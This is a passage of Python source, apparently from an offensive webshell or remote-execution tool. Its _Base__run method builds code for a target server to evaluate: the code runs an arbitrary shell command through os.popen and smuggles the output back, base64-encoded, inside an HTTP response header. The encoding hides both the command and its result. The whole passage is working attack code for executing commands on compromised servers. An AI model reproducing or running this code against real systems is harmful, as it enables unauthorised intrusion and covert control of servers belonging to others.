| 128 | @brief See base class for details. |
| 129 | """ |
| 130 | def _Base__run(self, command: str): |
| 131 | encoded = base64.b64encode(command.encode()).decode() |
| 132 | res = self.__eval( |
| 133 | f"try:\n" |
| 134 | f"\tr.headers['{self.header}']=" |
| 135 | f"__import__('base64').b64encode(" |
| 136 | f"__import__('os').popen(" |
| 137 | f"__import__('base64').b64decode(" |
| 138 | f"b'{encoded}').decode()" |
| 139 | f").read().encode()).decode();\n" |
| 140 | f"except Exception as e:\n" |
| 141 | f"\tr.headers['{self.header}']=__import__('base64').b64encode(" |
| 142 | f"str(e).encode());") |
| 143 | print(base64.b64decode(res).decode(), end='') |
| 144 | |
| 145 | """ |
| 146 | @brief See base class for details. |